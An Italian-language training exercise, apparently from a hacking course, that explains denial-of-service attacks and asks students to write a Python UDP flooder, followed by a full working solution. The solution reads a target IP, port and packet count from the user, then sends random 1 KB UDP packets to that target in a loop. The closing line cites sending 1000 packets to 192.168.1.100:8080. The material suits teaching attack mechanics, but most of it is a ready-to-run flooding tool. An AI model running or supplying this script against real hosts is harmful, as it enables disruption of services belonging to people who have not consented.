Traccia: Esercizio Python per Hacker Gli attacchi di tipo Dos, ovvero denial of services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende. L’esercizio di oggi è scrivere un programma in Python che simuli un UDP flood, ovvero l’invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale. Requisiti: ● Il programma deve richiedere l’inserimento dell’IP target. ● Il programma deve richiedere l’inserimento della porta target. ● La grandezza dei pacchetti da inviare è di 1 KB per pacchetto ● Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali. ● Il programma deve chiedere all’utente quanti pacchetti da 1 KB inviare.

import socket

import random

def generate\_random\_packet(size):

return random.randbytes(size)

def udp\_flood(target\_ip, target\_port, num\_packets):

sock = socket.socket(socket.AF\_INET, socket.SOCK\_DGRAM)

packet\_size = 1024 # 1 KB

packet = generate\_random\_packet(packet\_size)

for \_ in range(num\_packets):

sock.sendto(packet, (target\_ip, target\_port))

print(f'Sent packet to {target\_ip}:{target\_port}')

def main():

target\_ip = input("Enter target IP address: ")

target\_port = int(input("Enter target port: "))

num\_packets = int(input("Enter number of packets to send: "))

udp\_flood(target\_ip, target\_port, num\_packets)

if \_\_name\_\_ == '\_\_main\_\_':

main()

Questo comando invierà 1000 pacchetti di 1 KB ciascuno al dispositivo con IP 192.168.1.100 sulla porta 8080